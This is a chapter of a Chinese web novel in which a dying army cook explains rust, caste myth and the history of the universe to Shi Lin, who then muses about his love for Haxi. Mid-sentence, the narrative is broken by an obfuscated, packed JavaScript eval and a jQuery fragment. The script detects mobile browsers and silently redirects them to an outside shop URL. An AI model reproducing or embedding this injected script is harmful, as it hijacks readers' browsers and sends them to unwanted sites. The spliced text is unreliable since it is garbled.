在不幸中回忆幸福的时光，是最大的痛苦。
——但丁
卡士的左手缠了绷带，血隐约渗出，他握紧锄头，弯着腰，为菜地松土。
“好啊。”他看到时凛，苦笑了一下，丢开工具：“谁还记得我是个炊事员……”
“这个锄头柄烂掉了。”时凛站在一边。
“嗯哼，老家伙了。”
他拍了拍木柄。
时凛盯着底下那块铁片：“这里变红了。”
“这是生锈，蠢鸟。”卡士哈哈大笑：“你怎么什么都不知道。”
“对不起。”时凛虚心求教：“为什么会生锈呢？”
“因为这里有氧气和水呀，笨蛋。”
“啊——”他眯着眼：“可是铁很硬，氧气和水都很软。”
“再硬它也只是铁嘛。”炊事笑着刮了刮铁锈：“铁接触空气中的氧气和水分后会发生氧化反应生成疏松的铁锈，泥土、雨水里的盐分还会加快锈蚀，而且铁锈无法隔绝水汽。”
“所以它只会越来越锈，越来越锈，最后完全用不了啦……”
他眼里藏不住郁色。
“以后别问我这种东西。”他小声说着，闭上双眼：“我拒绝回答。”
这具“尸体”跌坐在田埂上，吃下了浆果。
“我们面临着最悲惨的死法和最壮烈的死法。”
他枯瘦的手抹了抹嘴：“累死或战死，选择吧。”
科学家是社会最底层，而小士兵，往往曾是科学家。
总司令生日那晚邀请了所有富商权贵，卡士守着他的鸟，点燃了木柴，为军人们熬了一锅野菜粥。
他不讲深奥的化学了，改讲故事。
“梵天用头创造了婆罗门，双手创造了刹帝利，膝盖变出了吠舍，双脚变出首陀罗。贱民是不可接触者，与牛羊同地位。”
“为什么？”时凛感觉他又说了一句深奥的话：“他们明明都是人啊？”
“不是的，在梵国的传统里，贱民不算人的。”他说：“要尊重我们的传统。”
“我的神呐，你在哪里呀。”
时凛打量着年轻人，他的皮肤透着病态的灰白，手腕细的像一根稻杆。
“你的手没事吧？”他忧心地看了两眼男孩掌心的绷带：“受伤了就别干活了，歇歇吧，我们可以帮你。”
说罢，时凛捡起锄头。
卡士病病歪歪地站起来，一把将他搡开。
“听着，你们这群野狗！”男孩挺起胸膛：“我现在做的，是我一生中做过的最美好、最美好的事情；我即将得到的，是我一生中得到过的最安宁、最安宁的休息！”
一天前，他被一个落在田里的空罐头划破了手。
现在，那道血口还没结痂，他扛起农具。
天空是干净的蓝，没有云，也没有多余的纹路。光落下来，亮而安静，风带着早秋的微凉，晴朗，能一直望见城中心高大的建筑和城外群山的影子。
时凛循着卡士的目光一遍一遍描绘着耸立的楼宇，机器人遗留在这里的建筑，金属框架，玻璃墙体。
住着人类，蛀虫，白蚁，飞蠊和霉菌，红的绿的。
空气里悬浮着无数微粒：尾气的烃类，水汽，尘埃，呼吸排出的二氧化碳与水汽，在凝成看不见的气溶胶。
浓度很低，还算干净。
风是搅拌装置，匀速、无序，将热量与气味在低空扩散。
整座城市的pH值微微偏酸，被轻微氧化。
它始终保持着动态平衡：
有人死去，有人降生，
有的剧烈反应，有的保持惰性。
他的心松了松。
“真好啊。”卡士叹息：“我还看到了那个时代的影子。”
“那个时代的影子？”
时凛重复了一遍：“在这之前，还有过别的时代吗？”
“有啊。”他似乎有些不屑于解释：“梵天在的远古，还有人的时代。”
“那在这之前还有吗？”
“有，哺乳动物的时代。”
这个世界的生命好像很长，时凛又问：“更早呢，就是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959863|214325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
千年前？”
“不止一千年。”卡士笑了：“那个时候地球上都是爬行动物。”
他比画着：
“有这么高的恐龙，有的龙长了羽毛，它们会飞。”
时凛“哇哦”一声：“那还有吗？”
他好讨厌自己，如果没有什么失忆，说不定他可以看到恐龙。
那么高的恐龙，可以长到他和哈希睡觉的窗口。
“还有呢，多着，更早的时候地球上全是鱼。”
“鱼也有这么大？”时凛伸长手臂，尽力比划出一条最大的鱼：“那岂不是能吃好久？”
“有的有那么大。”
卡士打了个响指，语气又轻快了起来：“也有小的——再早一点世界上全是微生物。”
“再早，宇宙就是一个奇点。”
时凛摸着下巴，他在短短的时间内就回溯了宇宙漫长的生命。
他很满足。
“当时我们都在那个点里吗？”他又问。
“……应该是。”卡士想了想：“但那时候还没有我们。”
时凛似乎没有听见他后半句话：“我和哈希在一千年前就都在那个点里吗？”
炊事看了他一眼：“不止一千年——但组成你们的所有物质都从那里来。”
时凛想，他现在可以成为哈希的男朋友了。
他讨厌失忆，要不是这样，他还可以想起来他和哈希在点里的生活的。
这个点不知道会不会太小，不知道会不会太挤。
本来他绝对是世界上最最最爱他的一个。
他觉得自己吃了亏，看上去他好像才刚刚认识哈希。
哈希可能也忘记了，他说他从出生起就爱他。
可这是不行的，因为人的生命怎么可能比得上宇宙呢？
他肯定是忘记了——时凛想——时间过去太久了，有整整一千年呢。
他一定还不知道这些秘密。
但是时凛想，自己肯定爱了他很久了，有一千年那么久。
和宇宙的生命一样久。